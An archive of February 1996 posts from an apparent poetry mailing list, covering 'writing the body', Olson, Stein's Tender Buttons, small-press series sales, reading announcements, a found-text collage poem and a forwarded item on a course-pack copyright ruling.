I don't actually remember the days before printing presses, as I have not reached the young age of 550 or so. But I think writing and talking have always had a generative relationship with one another, and certainly not all writing was trying to capture the physicality of oral poetry. I think of speech and writing as having a different kind of physicality in pre-modern (and in some ways modern begins about the time of the development of the printing press) Europe. I'm not certain how these distinctions apply to many parts of the world.

The meaning of eros is up for dispute at any time, but I do think it still exists in the universe of "techno-talk-babble," probably even has to move to include the techno, the talk, and the babble.

But whoever said the lingo in a poetry book (fine-art press or otherwise) is necessarily spare. Do not spare the lingo . . .

charles

↑ Index

378. Tom Goodell
coded swirling mix
Wed 14 Feb 1996

THis is the first time I've posted here. So here goes: a semidada foundtext poem composed of clippings from the Village Voice and New York Tmes Book Review. The double letters represent drop-caps; extraneous text is cut away with scissors. So that this (from the newsstand edition of Harper's)

WWe should be extemely
cautious about opening our
mouths to others. Kissing can be
dangerous, for all love is doomed.
What fortune does not rip away from
our arms, death steals away. It is
only a matter of time.

could become this or something else

WWe should be extreme about opening our kissing, for all love does not rip away form away.

I could explain it at length but I don't want to right now. Happy lovething!

LLet's pretend that supreme figure who has houses, galvanized audiences, major national stars, arrives at where she can write, picking and choosing, commanding the renowned, suppose that she finds a co-conspirator, man of knowledge. Then let us imagine the consequences. OOver the shadows around the fountain. But if they thought of it at all, it was as a throwback. VValentine's Day of those two when everyone and everything, heighten our absolutely unrealistic levels, assuring us an experience. If were dare paper, or leave house, Valentine's Day or Thanksgiving or Mother's images of impossible materiel and/or images that force us to comparisons EEarly on the officially styled last man, on an old-fashioned high enough to let him rest, he was looking out the miniature amusement campaign to entertain children.

IIn spite of all the forces that tended to woman, at least one protagonist, resourceful social command of her considerable
SShed half a tear, and stanza for a little musical was too confused for very long
AAs a rule, to call sentimentality well-guarded is mighty pretty

Mid-day through a pent-up intellectual who finds unexpected release, to her by the photographer, down a flight of steps in the Victory. A vision is clearly the equal of the ancient stance, her extended arms imitate, unprepared for this sudden glamour, orders her to stop. "I can't stop!" she says. "Take the picture!" music swells, the scene ends abruptly on the whole wonderful sight--as goddess. AAnd now that he is at the end of his performing, one into view: it is the women, carrying out his art. NNow that the holiday long resisted this tradition, which usually strikes me as schematic or confining. But this year I was surprised YYou've probably worn the same glazed look, someone describing his/her procedure in excrutiatingly compelled narration of his/her meeting. Lately, I've been feeling the same face

SSince you asked, though, I'll tell gladly tell you. "PPlease accept me as an unreliable narrator, says the shadowy shadowy tale LLike most a double, like about it dismays or attacks with your turn around crazy, but aesthetical-psychologically; his lack of a point where you think there must be some truth to it. EExcepting only a private nothing in the temple NNobody ever thinking, explorable byways of his contain the cosmos. This universe, in coded messages decipher, in between bouts of a woman whose beauty makes him himself--which gives the coded whirling mix of ideas, images, so be careful while you're decoding DDie the pompous feeding off an artistic faded long ago. OOnce upon a time morality in America. Scandalous propagating without stealing was not merely sinful. Somewhere along the line what once was sin became country, went to hell. So critics. They may precisely on why and whether, the cure lies in the individual breakdown RReading "Trying to Save prose duplicated sensation of moving over a long stretch, suddenly, thankfully, achieving liftoff. EEven if it's anecdote. All turn-of-the-century, section of The Blue, simple, as I think I is, you write about what to get, how your sensibility is your craft, what you come out with is anecdote." DDo answering, tending, training, the time to oversee the times

TThere is a place I, you can go to think thoughts. What could I recommend HHer animal, who comes out of the forest at dusk, becomes everyone's need. It's a lot the clothes, which are time, when her mother gets into bed once, that she knows of. But get over, because he tries out progress, about the hole of feeling that in falling in love, it is the first time, because past. Thursday through February. IIf you want to dance, even when you see a mirror dancing beside and realize okay. Everybody knows, he's the teacher and you're returning to the

again and again, you think it's possible to steal beauty of the out working hard. NNo study of the image and reality, the disparity between them, could hardly have been better timed. It appeared just as attention was conflict; first with the agreement portrayed as resolution; GGrowing up

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379. **Chris Stroffolino**
Re: write that body
Wed 14 Feb 1996

---

my last note didn't end....
it should have continued--
"and though I don't mean to elide the difference between DeBeauvoir
and Cixous, they both do seem to share a belief in the maxim:
"existence precedes essence"....

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380. **Ron Silliman**
Re: a query
Wed 14 Feb 1996

Where does one find that Veronica Forrest-Thomson essay??
>
>...in the sense that Bernstein is building on/reacting to Veronica
Forrest-Thomson, who is coming straight out of Tel Quel (she published
an essay on Tel Quel poetics), i.e., straight out of Barthes'
intellectual milieu -- possibly staight out of Barthes' own seminar,
though I'm not sure of that."
>

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381. **Roger Field**
Re: writing the body
Wed 14 Feb 1996

At 12:14 PM 2/13/96 -0500, you wrote:
>ron writes:
>PROPRIOCEPTION.
>
>can u say more?--maria d
>
About 30 years ago in a bar in Vancouver we were talking of this very thing
and one guy, a grad student in physics, said "visceral".

We all agreed.
Check Writing 6, Four Seasons Foundation, SF, 1965 for Olson's comprehensive take on it.
Roger F.>

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382. Ron Silliman
Sun & Moon brand equity
Wed 14 Feb 1996

Douglas,

I appreciated your articulation of Classics. I've often wondered about that as a series and of the whole question of brand equity in poetry generally (the "classic" example being City Lights Pocket Poets Series as distinct from regular City Lights books). It works when somebody (me, say) likes a given series and is open to thumbing through and maybe buying with less foreknowledge a new book in a given series just because I've learned to trust the series. Nathaniel Tarn's great run at Grossman/Cape would be an example: because I trusted Olson's Mayan Letters, I was willing to buy books by Henri Lefebvre (still one of my all time faves), Victor Segalen (French anticipation of Spicer?), and Nazim Hikmet (a great poet, the Williams of the Middle East).

Is there any evidence that an S&M book sells better when it's a "classic" than when it's not??

All best,

Ron Silliman

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383. Henry Gould
Re: writing the bod
Wed 14 Feb 1996

Re: "spare lingo", Charles, I referring to poetry tending toward "concrete", emphasizing the visual effect on the page, beautifully designed & printed, disrupting "normal" syntax - a kind of poetry in which the "visceral", the "proprioceptive", has been transmogrified into pure visual & tactile effect, and the pome is a kind of unreadable letter in a bottle, no clue to performance etc. It seems like one path that poetry in its discontent has taken away from mass publishing & mainstream po-biz, and in contact with the visual arts. This is pretty obvious & is not meant as a negative comment. I would imagine that where there is a convergence between art publishing & poetry in performance you would find the most dynamic poetry scene. And this would be the

[theoretical] place where a genuine civic/creative atmosphere (as opposed to an in-group typical American hobby subculture) would be sparked. To those sophisticates who are thinking "where's he been all these years?" - I've been living in a burg where many of the elements of such a convergence/spark have been present/dormant for a long time but in my opinion have not coalesced - not Beantown, not big apple, not mini-apple, not SoCal NoCal or OreWash, not ChiTown, but...lil Rhody...

speaking of rhodi happy V day to all those who hate Valentine's day...HG

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384. **Schuchat**
Re: writing the bod
Wed 14 Feb 1996

---

where is the mini-apple?

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385. **Henry Gould**
re; writing the bod in the mini-apple
Wed 14 Feb 1996

The mini-apple is Minneapolis, one of the legendary "Twin Cities" which hang from the branches of the Mrs. Sipp-Hesperides, the other being, of course, St. Petersburg (NOT florida). - Henry Gould

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386. **David Kellogg**
Re: Poetry Sightings
Wed 14 Feb 1996

On Mon, 12 Feb 1996, Jordan Davis wrote:

> *At 1:35 PM 2/12/96, David Kellogg wrote:*
>
> *Perhaps the arrangement did not matter: when *Tender Buttons* appeared, with no context, it was often treated like a joke.*
>
> *Eh? How's that?*
> *Which part doesn't matter, and why?*
> *Or is that jokes don't matter,*
> *Or work which is delivered*
> *Off-handedly and which doesn't*
> *Take itself seriously*

> *(Or which takes itself way too seriously)*
> *Doesn't bear close-reading?*

Hey, I was quoting Linda Wagner-Martin. That weren't me.

Cheers,
David
~~~
~~~

Bests

Herb

> *ron writes:*
> *PROPRIOCEPTION.*
>
> *can u say more?--maria d*

Herb Levy
[redacted]

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389. Charles Alexander
Re: johanna drucker's work
Wed 14 Feb 1996

> *Can anyone tell me anything about the availability of Johanna Drucker's so-called "visual books" including (but not limited to) _The Word Made Flesh_ (1989), _Simulant Portrait_ (?) and _Otherspace_ (1992). I know these works were produced by a private press with very limited print runs, so I assume they will be expensive and hard to find . . .*
>
> *Also, any recommendations for critical discussions or other material relating to Drucker's work would be appreciated (I've seen Marjorie Perloff's pages in _Radical Artifice_).*

I believe that Simulant Portrait, Otherspace, and any other offset printed books by Johanna are still available. You might try Printed Matter in New York (sorry, I don't have the address at hand). Minnesota Center for Book Arts (24 N. Third St., Minneapolis, MN 55419, [redacted]) has had them, but I know they are re-defining their studio shop, so I'm not certain if they still have them or not. I believe The Word Made Flesh and History of The/My World, in the original editions, are entirely unavailable. I recently showed my copy of the former to a class I'm teaching on 20th Century typography. There's really nothing else quite like it. The latter has just been reprinted in an offset-printed edition by Granary Books in New York, which I believe is also on this book arts discussion list.

Johanna Drucker also has a recent novel out from Detour Press in St. Paul, Minnesota, which is available from Small Press Distribution, 1814 San Pablo Ave., Berkeley, Ca 94702. Come to think of it, her other offset-printed books may be available from Small Press Distribution as well.

I have not seen critical discussion of her work, which is unfortunate. But to inform her creative work I think it is important to read some of her own critical work, including The Century of Artist's Books (Granary, 1995) and The Visual Word.

charles alexander

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390. Ken Edwards
Out of Everywhere
Wed 14 Feb 1996

A spectacularly successful launch was held on Monday night (12 Feb) at the East West Gallery, London, for OUT OF EVERYWHERE: linguistically innovative poetry by women in North America & the UK. The gallery space was packed and people were spilling out onto the pavement outside.

All eight UK based contributors to the anthology were there to read their work: Caroline Bergvall, Paula Claire, Grace Lake, Wendy Mulford, Maggie O'Sullivan, Carlyle Reedy, Denise Riley and Geraldine Monk. They were joined by two transatlantic visitors, Fiona Templeton and Kathleen Fraser. Kathleen prefaced her reading with a poem by Barbara Guest. Geraldine was almost inaudible through laryngitis, but managed a raucous partial delivery. Paula handed out ginkgo tree leaves. Everyone was in fine fettle.

The following evening Maggie and Geraldine gave a more extended reading in the SubVoicive series at the Three Cups pub in Holborn. On March 1, they will also be reading in Durham, together with Nicole Brossard and Daphne Marlatt, to celebrate both the book and Basil Bunting's birthday. This is courtesy of Ric Caddel and Diana Collecott.

Just for the record, the other US and Canadian contributors to OUT OF EVERYWHERE are: Rae Armantrout, Nicole Brossard, Tina Darragh, Deanna Ferguson, Barbara Guest, Carla Harryman, Lyn Hejinian, Fanny Howe, Susan Howe, Karen MacCormack, Bernadette Mayer, Melanie Neilson, Joan Retallack, Lisa Robertson, Leslie Scalapino, Catriona Strang, Rosmarie Waldrop, Diane Ward, Hannah Weiner, Marjorie Welish. The book is 256pp and retails for 9 pounds (around $15).

I am now submerged in jiffy bags as I try to fulfil orders. Contributors who lurk here: your copy is on its way, but by surface mail to save cost, so it may be a few weeks yet. Likewise, SPD and Marginal Distribution should be receiving copies in the next few weeks.

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391. Jordan Davis
Button Sightings
Wed 14 Feb 1996

Wait.
Tender Buttons is a put on?
I'm sure I don't understand.
I thought it was complex funny language
That short-cut ordinary meaning.

Does Tender Buttons have to do with writing a body?
I mean I get some puns. But.
Isn't "have to do" reductive? Don't "guys"
Like to talk about "reductive"?

Love,
Jordan

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392. Charles Alexander
Re: writing the body
Wed 14 Feb 1996

> *PROPRIOCEPTION.*
>
> *can u say more?--maria d*
>
> *About 30 years ago in a bar in Vancouver we were talking of this very thing*
> *and one guy, a grad student in physics, said "visceral".*
> *We all agreed.*
> *Check Writing 6, Four Seasons Foundation, SF, 1965 for Olson's comprehensive*
> *take on it.*
> *Roger F.>*

But I think that for his "comprehensive" (and can anything be comprehensive in Olson, maybe, with proprioception in mind, com-prehensile would be better) take on it one should read the essay in conjunction with many of the Maximus Poems, particularly from Maximus Poems IV, V, VI, and from The Maximus Poems Volume Three.

from volume 3:

I believe in God
as fully physical
thus the Outer Predmost
of the World on which we 'hang'

as though it were wood and our own bodies are
hanging on it

Olson's "proprio" is always turning eternal, historical, mythic

also from volume 3:

as against what we know went on, the dream: the dream being self-action with Whitehead's important corollary: that no event

is not penetrated, in intersection or collision with, an eternal event

The poetics of such a situation
are yet to be found out

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393. Charles Alexander
Re: writing the bod
Wed 14 Feb 1996

> *where is the mini-apple?*

in mini-apple-less

which is in

mini-soda ??

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394. Charles Alexander
miniapples, berssenbrugge, kim
Wed 14 Feb 1996

> *The mini-apple is Minneapolis, one of the legendary "Twin Cities"*
> *which hang from the branches of the Mrs. Sipp-Hesperides, the other*
> *being, of course, St. Petersburg (NOT florida). - Henry Gould*

St. Petersburg, St. Paul, what's the difference? (I can ask this in semi-innocence, not having been to Florida in my lifetime.) St. Paul is home to the winter carnival, where winter queens are crowned, the devil is beaten away by the icy forces of good; this year, with thirty-four-below-zero temperatures and sixty-below wind chills that week, even parts of that carnival were canceled. St. Paul is also home, of course, to Detour Press, Exile, Minnesota Project for Contemporary Language Arts, and more.

Speaking of twin cities, if anyone's in the vicinity, there will be a 3-day residency of visiting writers MEI-MEI BERSSENBRUGGE and MYUNG MI KIM, co-sponsored by Univ. of Minnesota Creative Writing Program, Minnesota Center for Book Arts (I was director when this ball got rolling and am glad it

was carried through), and Asian American Renaissance. I don't have all the details in front of me, but I know there is --

a reading on March 8, Friday, at 7 pm
Minnesota Center for Book Arts in Minneapolis
24 North Third Street

a "fireside chat" with the poets on March 6, Wednesday, at 6:30 - 8:00 pm Asian American Renaissance in St. Paul

The poets are also leading a workshop of creative writing students at U-Minnesota, but I don't believe that's open to the public.

Chip Schilling, resident artist in bookmaking at Minnesota Center for Book Arts, is making a chapbook containing works by both poets, a limited edition handmade book which will be available for sale. Call Minnesota Center for Book Arts for details.

If anyone is around and wants addresses/directions, or other specific information, please call Ann Somers or Sarah Manwaring at Minnesota Center for Book Arts, [redacted].

charles alexander

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395. Douglas Messerli
Sun & Moon brand equity
Wed 14 Feb 1996

Ron,

That's a good question. No, I don't see true evidence that a book selles better if it's a "classic." Of course, most of the "classics" are aimed, in the long-run, at the classroom, and, accordingly, over a period of time they sell better. However, we keep almost all of our books in print, so there's been many a time when a New American Fiction or New American Poetry title sold better than a Classics original. For example, Wendy Walker's THE SECRET SERVICE was first published in the Classics Series (we had reprinted her THE SEA-RABBIT into that series earlier). But her books sold far fewer copies that a gay novel like PLACE OF SHELTER by new-comer Nolan Dennett. But, of course, sales also have to do with when books are pubilshed, how they look, and the inexplicable aspect of the audience.

Thanks for your observations.

Douglas

==========

Douglas,

I appreciated your articulation of Classics. I've often wondered about that as a series and of the whole question of brand equity in poetry generally (the "classic" example being City Lights Pocket Poets Series as distinct from regular City Lights books). It works when somebody (me, say) likes a given series and is open to thumbing through and maybe buying with less foreknowledge a new book in a given series just because I've learned to trust the series. Nathaniel Tarn's great run at Grossman/Cape would be an example: because I trusted Olson's Mayan Letters, I was willing to buy books by Henri Lefebvre (still one of my all time faves), Victor Segalen (French anticipation of Spicer?), and Nazim Hikmet (a great poet, the Williams of the Middle East).

Is there any evidence that an S&M book sells better when it's a "classic" than when it's not??

All best,

Ron Silliman

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396. Robert A Harrison

Re> johanna drucker's work

Wed 14 Feb 1996

Matt,

Quite a lot of Drucker's work is available at Woodland Pattern, where she currently has a show. Their phone number is [redacted]. I'm pretty sure they have copies of "Simulant Portrait", "The Word Made Flesh", "Just As", and "Dark Decade" (her Detour novel), though I'm not sure they have "Otherspace."

Her email address is or was recently [redacted]

Also, this past summer she contributed to a show of Visual Poetry that I co-curated. The catalog, which is still available, has a general overview essay on Visual Poetry and some pieces from "The Word Made Flesh." If you want a copy let me know backchannel.

Bob Harrison
[redacted]

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397. **Emily Lloyd**
Buttons
Wed 14 Feb 1996

---

kathryne wrote:
>Tender Buttons is one big guffaw at straight domesticity and
>sophisticated femininity and perhaps lipstick lesbians.

Seems to me that Stein was very PRO-"domesticity"/domiciles as long as she wasn't the one having to make the mutton (or type the manuscript, etc.). In some sense I read Buttons as a *celebration* (as opposed to a mockery, though one can certainly celebrate & mock simultaneously) of daily, domestic life. Or an exploration of/meditation on it. I agree that Stein's work is often infused with wit----but not that the entire "point" was wit or "one big guffaw."

Also--AliceBT was pretty lipsticky herself (I'm talking looks here; she *was* quite the intellectual---don't know if by "lipstick lesbian" you're connoting "incapable bimbo" or merely "femme").

Kathryne---could you write more about what led you to your above-quoted assertion? Back or front.

emily

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398. **Sheila E. Murphy**
Re: writing the body
Wed 14 Feb 1996

Shaunanne writes:

one of my PhD
>comp exams was about writing the body, cixous and my own works, even! if
>any one out there would like to see what i do w/ writing the body, i'd be
>glad to post a poem.

Shaunanne,

I would be interested, yes. Please do post!

Sheila Murphy

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399. **R I Caddel**
Northern Readings
Wed 14 Feb 1996

Two forthcoming poetry readings in the NE of England:

Friday February 23rd at 8.00pm
MORDEN TOWER, Back Stowell Street, Newcastle upon Tyne

PETER RUSSELL A rare visit to the UK from this elder-statesman-in-exile, who's lived in Italy since the 50's. Russell edited NINE in the 50's, publishing Bunting (when no-one else in Britain did) Pound and others. He now produces MARGINALIA, a newsletter largely devoted to his own work, which has been described as "a kind of high, literary underground".

Friday March 1st at 6.30pm
BASIL BUNTING POETRY CENTRE
Music School, Palace Green, Durham City

NICOLE BROSSARD / DAPHNE MARLATT // GERALDINE MONK / MAGGIE O'SULLIVAN A packed quadruple bill for Bunting's birthday. Brossard and Marlatt are touring courtesy of the Canadian High Commission; Monk, O'Sullivan and Brossard are all in the forthcoming anthology "Out Of Everywhere" from Reality Street Editions. Telephone booking advised: 0[redacted].

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400. Rod Smith
Re: Sun & Moon brand equity
Wed 14 Feb 1996

As a bookseller I can second Doug's observation that the classics series doesn't sell better than the NAP or NAF. Given the uniform size & "look" of Sun & Moon the entire press has acheived "buyer recognition" -- I'd say I really began to notice this around 2 years ago. It's as though a threshold was reached in terms of number of titles (kind of a hundredth monkey theory). Though I'd bet the Classics series sells better to libraries. --Rod

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401. Douglas Messerli
Readings at Sun & Moon Press
Wed 14 Feb 1996

Just a note to anyone visiting the Los Angeles region this weekend--or to Angelenos who somehow didn't get the word.

Sun & Moon Press, Littoral Books and RIBOT are co-sponsoring a new reading series. The first of those readings will be this Sunday, the 18th at Sun & Moon Press

Bookstore (6026 Wilshire Boulevard, Los Angeles, CA) at 4:00 p.m. All are welcome.

Reading will be RAY DI PALMA and MAC WELLMAN

Tonight at Bookstar bookstore (in the Beverly Connection across from the Beverly Center) PAUL VANGELISTI and MARTHA RONK will be reading from their new books at 7:00 p.m.

--Douglas Messelri

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402. **Maria Damon**
Re: writing the body
Wed 14 Feb 1996

---

alan s rites: Can a male write feminin ecriture? Where are the boundaries of essential vis-a-vis woman's writing? Can Sandy Stone? Can I? Andre Roy for example? Artaud?

yes, of course. genet is most often used as an example. personally i don't believe (i don't think) in "ecriture feminine," though it's a useful concept to have around in the mix, if only to refute, refine, revise, oppose, etc, and it gives young girls (as i've found in dealing w/ undergrads) a way to feel okay about their writing, which continues to be an important factor for me.--maria d

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403. **Maria Damon**
Re: Poetry Sightings
Wed 14 Feb 1996

---

on April 18, the St Mark's Poetry Project will have a Bob Kaufman celebration. The occasions are: Bob's birthday, the 10th anniversary of his death, and the appearance of the Coffee House Press Selected (from which my essay was unprofessionally axed w/ no word from the publisher). David Henderson will be presiding, Cecil Taylor, possibly Ruby Dee and Ossie Davis (who recorded some dramatic readings of Kaufman poems in the 70s), i'll be there, maybe Mona Lisa Saloy (a poet working on a critical biography of Kaufman), maybe Ginsberg, maybe Baraka, Eileen Kaufman (bob's widow), don't know who else.--md

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404. Maria Damon
Re: writing the body
Wed 14 Feb 1996

thanks roger field.

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405. Jonathan A Levin
Call fr papers, mla 96
Wed 14 Feb 1996

Poetics List--

Just thought I'd draw yr eye to my call for papers in the present mla newsletter--It's titled Poetry in the Curriculum (under special sessions, which is alphabetized, and which also means, of course, it has to be approved after I've formed the panel). It comes from frustration, some my own, some my friends and students, about the "place" of poetry in the present English dept. curriculum--in the shadows, so much, of the "sexier" (and more marketable?) genres & theories. I'm hoping, of course, to get some kind of discussion going, one that will appeal not just to poetry nuts but to others more generally concerned with pedagogical and curricular issues in departments of English, comp lit, and lit studies-- a discussion that can affirm, in I hope of variety of ways, the importance of poetry in the curriculum, and help define what that importance might actually be.

The call goes (something) like this (I don't have my copy here):

Poetry in the curriculum: graduate programs, undergraduate programs, poetry and theory, poetry and cultural studies, anthologies, new poetries, traditions of poetry, introductory courses, innovative courses.

I hope this is broad enough: I'm interested in all aspects of the place of poetry in the curriculum.

1 page abstracts by March 15 to:
Jonathan Levin
602 Philosophy Hall
Dept of English and Comp Lit.
Columbia U
NY, NY 10027

(I'd prefer snail mail, since I haven't yet managed to print anything out from e-mail.)

Best-- Jonathan

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406. **Chris Stroffolino**
Re: writing the body
Wed 14 Feb 1996

Dear Candace Pirnak and Steve Carl-- Even though I brought the topic up, I'd rather not get into DP's and H's problems with Cixous.It's in MY EMILY DICKINSON and the PINK GUITAR (and both quite brief). Partially because I don't agree with them (which is not to say I don't agree or enjoy other aspects of their books--I still think MED Howe's best book; and partially because I think others on the list have fairly accurately raised the SAME KIND of objections (and redcutions) of Cixous that the two writers in question have. Happy V-D day, cs.....

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407. **jeffrey timmons**
Re: write that body
Wed 14 Feb 1996

---

and how about contingent essentialism?

Jeffrey Timmons

↑ Index

408. **Jordan Davis**
Re: Poetry Sightings
Wed 14 Feb 1996

James,
If that's Feb. 18-21 then may I suggest "On any Third Sunday" at the Knitting Factory, Feb 18 9 pm $6.. Todd Colby and others doing spoken word/music.. our old friend Alfred Corn will be reading up in the bronx Tuesday Feb 20 8:30 p.m. at Exoterica/An Beal Bocht (445 w 238th).. and at the Poetry Project POETICS' own lurker Albert Mobilio reads with he of the hut in France, Gustaf Sobin, Wed Feb 21 @ 8 ($6).
If it's some other 18 through 21 let us know.
Signed,
New York

↑ Index

409. **Jordan Davis**
Re: Poetry Sightings
Wed 14 Feb 1996

Oops! almost forgot Carolyn Forche will be reading Tuesday Feb 20 at 7 pm at Art in General, 79 Walker St.. come on down..

↑ Index

410. **Joseph Zitt**
Re: "Pomo"
Wed 14 Feb 1996

On 13 Feb 96 at 15:05, Mark Nowak wrote:

> *Gerald Vizenor*
> *_Manifest Manners: Postindian Warriors of Survivance_*

"Survivance"? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

411. **Maria Damon**
Re: write that boy
Wed 14 Feb 1996

---

jt rites
and how about contingent essentialism?
i like it, have nothing to say tho', use it in a
sentence.

↑ Index

412. **Charles Watts**
Cap Review (fwd)
Wed 14 Feb 1996

Folks, Jenny Penberthy, one of the editors of the special Blaser conference issue of _The Capilano Review_, has asked me to send you all this publication announcement:

The Capilano Review announces the publication of a special double issue celebrating the work of Vancouver poet Robin Blaser. TCR #17/18 is a festschrift of exciting work by over 40 poets who read at last year's "The Recovery ofthe Public World" conference held to honour Robin Blaser.

Order copies at the special rate of (Can)$15 ($3 off the newsstand price). Subscriptions to The Capilano Review are (Can)$25 a year or $45 for two years, including GST. Add $5 for postage orders outside of Canada.

To order, please send a cheque or money order along with your name and address to : The Capilano Review, 2055 Purcell Way, North Vancouver, B.C., Canada V7J 3H5.

(American and overseas readers may as well send international money orders made out to Canadian funds or, if that proves difficult, to yr own currency at current exchange rates.)

The Capilano Review is launching this new issue at the Vancouver Press Club on Sunday, February 18th, 8 p.m. Some of the Vancouver contributors to the issue will be reading/performing, including George Bowering, Deanna Ferguson, Francois Houle & Catriona Strang, George Stanley, Sharon Thesen, and Robin Blaser.

And let me not let this opportunity pass by to remind you again that the current issue of _West Coast Line_, No. 17 Fall 1995 contains both a ripping collection of new British and Irish writing edited by Peter Quartermain and a selection of writing by participants at the "Recovery of the Public World" Conference, including four papers presented at the conference: Charles Bernstein's "Robin on His Own," Kevin Killian's modestly/cunningly/unassumingly titled "Blaser Talk," Daphne Marlatt's "Eratic/Erotic Narrative: Syntax and Mortality in Robin Blaser's 'Image-Nations'," and Robert Hullot-Kentor's "Past Tense: Ethics, Aesthetics and the Recovery of the Public World," as well as new writing by Rachel Blau DuPlessis, Michele Leggott, Leslie Scalapino, Michael McClure, David Levi Strauss, and Jed Rasula. The British & Irish writers are Tony Baker, Richard Caddel, Miles Champion, Chris Cheek, Ken Edwards, Allen Fisher, Harry Gilonis, Alan Halsey, Randolph Healy, Paul Holman, Peter Middleton, Billy Mills, Geraldine Monk, Bob Cobbing, Maggie O'Sullivan, Bridget Penney, Peter Riley, Maurice Scully, Robert Sheppard, Colin Simms, Simon Smith, Geoffrey Squires, Ian Stephen, and Catherine Walsh. There are also reviews by Meredith Quartermain on Norma Cole and Rosmarie Waldrop, by Shan He on Sau-Ling Cynthia Wong and King-Kok Cheung, and by Ralph Maud on Clayton Eshleman. Single issues are $10, $20/year for individuals, $30/year for institutions; overseas, $30/year for individuals, $45/year for institutions. West Coast Line, 2027 East Academic Annex, Simon Fraser University, Burnaby, B.C. Canada V5A 1S6; also should be available from Small Press Distribution.

And of course there's _Sulfur_ 37, with essays originally presented at the "Recovery of the Public World" conference by Robin Blaser, Jed Rasula, and Peter Quartermain and a new poem by Robin Blaser, $9 from Sulfur, c/o English Department, Eastern Michigan University, Ypsilanti, MI 48197.

AND Ted Byrne and I are continuing to edit a collection of the papers presented at the conference -- more than thirty received so far. More on this project as plans coalesce.

Thanks for bearing with all of this, some of which has already been posted (more than onece); the main thing at the moment is the new issue of Capilano Review.

Charles Watts
[redacted]

↑ Index

413. Ron Silliman
(C) up for grabs
Thu 15 Feb 1996

Good news for teachers, not so good for writers.... Less good still for anthologists and publishers.

Copied in toto from another listserve.

---------- Forwarded message ----------
Date: Tue, 13 Feb 96 21:55:16 CST
From: Lisa A Auanger <[redacted]>
To: [redacted]
Subject: Good News About Copyright & Course Packets (fwd)

Date: Tue, 13 Feb 1996 17:12:40 -0600
From: Kriste Lindenmeyer <[redacted]>
Subject: Good News About Copyright & Course Packets
To: Multiple recipients of list H-WOMEN <[redacted]>

Date: Tue, 13 Feb 1996 12:18:54 -0400 (EDT)
From: Jacquelyn Kent <[redacted]>

http://chronicle.com/che-data/news.dir/newstday.htm#art-10

Court Says Printing of "Course Packs" Does Not Violate Copyright Law

A federal appeals court Monday ruled that a copy-shop owner did not violate
copyright laws when he copied materials for college courses without getting
permission from the publishers or paying sufficient royalties.

The U.S. Court of Appeals for the Sixth Circuit ruled that James M. Smith, owner of Michigan Document Services, was protected by the "fair use" provisions of copyright law and had not infringed on the copyrights of the three

publishers that sued him in 1992. The court overruled a district judge's decision rendered in 1994.

Mr. Smith's five small copy shops serve the University of Michigan, Eastern Michigan University, and other institutions in the Ann Arbor, Mich., area. The case involved the preparation of "course packs," materials copied from books and journals and packaged for particular courses.

He and others in the photocopy business have said that the current process for obtaining permission to reproduce copyrighted materials is time-consuming, cumbersome, and expensive. They say that course packs, which are ubiquitous in higher education, allow professors to assign important reading in books and journals that would be too costly for students to purchase individually.

Under the fair-use provisions of copyright law, reproducing copyrighted material is acceptable for "teaching (including multiple copies for classroom use)." The law outlines four factors to be considered in determining whether fair use has been observed: the character of the use, including whether it is for a commercial or non-profit purpose; the nature of the copyrighted work; the length and importance of the portion used in relation to the copyrighted work as a whole; and the effect of its use on the copyrighted work's potential market and value.

The appeals court said that even though Mr. Smith had profited from making the copies, he qualified for fair-use protection because the copies were for educational purposes. The court said Mr. Smith had not exploited copyrighted material because his fee was not based on the content of the books he copied. He charged by the page, regardless of whether the content was copyrighted.

"The business of producing and selling coursepacks is more properly viewed as the exploitation of professional copying technologies and the inability of academic parties to reproduce printed materials efficiently, not the exploitation of copyrighted, creative materials," the appeals court said. "We hold that the Copyright Act does not prohibit professors and students who may make copies themselves from using the photoreproduction services of a third party in order to obtain those same copies at less cost."

The court also said that the copyrighted materials Mr. Smith had reproduced for the course packs were not "excerpted so substantially that the coursepacks superseded the original works."

In determining the effect the copies had on the copyrighted works' market
and value, the court said that the publishers had not proved that the course
packs affected the current or potential market for the original works. The
plaintiffs in the case were the Free Press, Princeton University Press, and
St. Martin's Press.

In a dissenting opinion, Judge David A. Nelson said the publishers had demonstrated the adverse effect that unauthorized copies such as Mr. Smith's had on the value of copyrighted works. He said that if other copy-shop owners were to follow Mr. Smith's lead and stop paying permission fees, "the potential value of the copyrighted works of scholarship published by the plaintiffs would be diminished."

--Mary Geraghty

↑ Index

414. Daniel Bouchard
Re: (C) up for grabs
Thu 15 Feb 1996

From Ron's post:

Good news for teachers, not so good for writers.... Less good still for anthologists and publishers.

The U.S. Court of Appeals for the Sixth Circuit ruled that James M. Smith, owner of Michigan Document Services, was protected by the "fair use" provisions of copyright law and had not infringed on the copyrights of the three publishers that sued him in 1992. _____

A friend in Houghton Mifflin's legal department tells me that Mr. Smith had mailed a couple of checks for an amount that he estimated to be fair when his case wasn't going so well. I wonder if he'll want them back.

[redacted]

↑ Index

415. Brian McHale
Re: a query
Thu 15 Feb 1996

RE: Silliman's inquiry about where the admirable & lamented Veronica Forrest-Thomson's piece on Tel Quel is to be found: it's called "Necessary Artifice: Form & Theory in the Poetry of Tel Quel," & appeared in "Language & Style," 6, 1, way back in 1973. I wonder if you're aware that she also translated Denis Roche & Pleynet? Her translations are in her "Colected Poems" from (& suddenly I draw a blank on the publisher; the same who did Prynne's Collected, anyway.)

Brian

↑ Index

416. James Sherry
ROOF BOOKS -- Special Offer
Thu 15 Feb 1996

ROOF BOOKS is making a SPECIAL OFFER

to POETICS SUBSCRIBERS <<ONLY>>

Poetics Subscribers may buy from the following list of ROOF BOOKS for $5 (Five Dollars) each. Minimum Order must be 3 (Three) Books. Postage is free. You must order by the end of February, 1996, to receive this offer.

To order simply reply to this message with your name, shipping address, and the list of books you want.

Roof Books will ship you the books, postage free with a stamped envelope and a bill. You send Roof a check.

LIST OF SPEIAL OFFER ROOF BOOKS (you must order 3 books)

Charles Bernstein, Islets/Irritations, 112p
Ray DiPalma, Raik, 100p
Erica Hunt, Local History, 80p
Peter Inman, Criss Cross, 64p
Jackson Mac Low, Representative Works, 360p
Kit Robinson, Balance Sheet, 112p
Leslie Scalapino, Objects in the Terrifying Tense..., 88p
Fiona Templeton, You--The City, 150p
Diane Ward, Human Ceiling, 76p

There has been a lot of talk about the Internet. Let's see if it works.

